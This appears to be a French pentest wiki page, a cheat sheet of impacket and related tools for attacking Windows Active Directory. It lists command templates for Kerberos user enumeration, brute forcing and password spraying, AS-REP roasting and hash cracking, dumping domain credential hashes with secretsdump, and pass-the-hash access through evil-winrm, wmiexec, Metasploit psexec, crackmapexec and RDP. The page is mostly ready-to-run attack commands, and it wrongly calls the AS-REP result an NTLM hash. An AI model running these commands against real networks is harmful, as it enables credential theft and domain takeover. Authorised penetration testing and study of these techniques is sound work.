Skip to main content

[Windows] Suite impacket

Introduction

La suite impacket est un ensemble d'outil permettant des tests d'intrusion dans les domaines Active Directory et les partages réseaux.

image.png

Installation

git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket && pip3 install -r /opt/impacket/requirements.txt && cd /opt/impacket/ && python3 ./setup.py install

Outils

Enum4Linux

Permet d'obtenir des informations sur les contrôleurs de domaine :

enum4linux -U <DC_IP>

Kerbrute

Permet différentes attaques via le protocole Kerberos.

  • Énumération des utilisateurs :
kerbrute userenum --dc <DC_IP> -d <DOMAIN_FQDN> <WORDLIST>
  • Brute force sur un utilisateur :
kerbrute bruteforce --dc <DC_IP> -d <DOMAIN_FQDN> <USERNAME_LIST> <USERNAME>
  • Brute force sur plusieurs utilisateurs :
kerbrute bruteforce --dc <DC_IP> -d <DOMAIN_FQDN> <PASSWORD_LIST>

Remarque : Le fichier de wordlist doit respecté le format USER:PASSWORD .

  • Password spray (un seul mot de passe sur plusieurs utilisateurs) :
kerbrute bruteforce --dc <DC_IP> -d <DOMAIN_FQDN> <USERNAME_WORDLIST> <PASSWORD>

GetNPUsers

Permet des attaques ASREPRoasting pour essayer de récupérer le hash NTML d'un utilisateur :

python GetNPUsers.py -dc-ip <DC_IP> <AD_NAME>/<USERNAME>

Si l'attaque réussie, le hash sera affiché à l'écran.

On peut casser ce hash avec hashcat par exemple :

hashcat --hash-type 18200 --attack-mode 0 <HASH_FILE> <PASSWORD_LIST>

SMBClient

Permet de se connecter à un partage samba.

  • Lister les partages disponibles :
smbclient -U <USERNAME> -L "\\<IP>"
  • Accéder à un partage spécifique :
smbclient -U <USERNAME> "\\<IP>\<SHARE>"

SecretsDump

Permet de récupérer tous les hashs des mots de passe du compte (pratique notamment pour le compte backup) :

python secretsdump.py <AD_NAME>/<USERNAME>:<PASSWORD>@<DC_IP>

EvilWinRM

Permet notamment de réaliser des attaques PassTheHash :

evil-winrm -i <DC_IP> -u <USER> -H <HASH>

WMIExe est une alternative à EvilWinrRM :

python wmiexec.py <AD_NAME>/<USERNAME>@<DC_IP> -hashes <HASH>

Ou alors on peut aussi utiliser Metasploit :

msfconsole

use exploit/windows/smb/psexec
set RHOSTS <IP>
set SMBPass <LM:NTLM>
set SMBUser <Username>
run

Connexion RDP

L'outil crackmapexec permet d'initialiser une connexion RDP en mode PassTheHash :

cme smb <DC_IP> -u <USERNAME> -H <HASH> 

Pour lancer la connexion :

xfreerdp /v:<DC_IP> /u:<USERNAME> /pth:<HASH>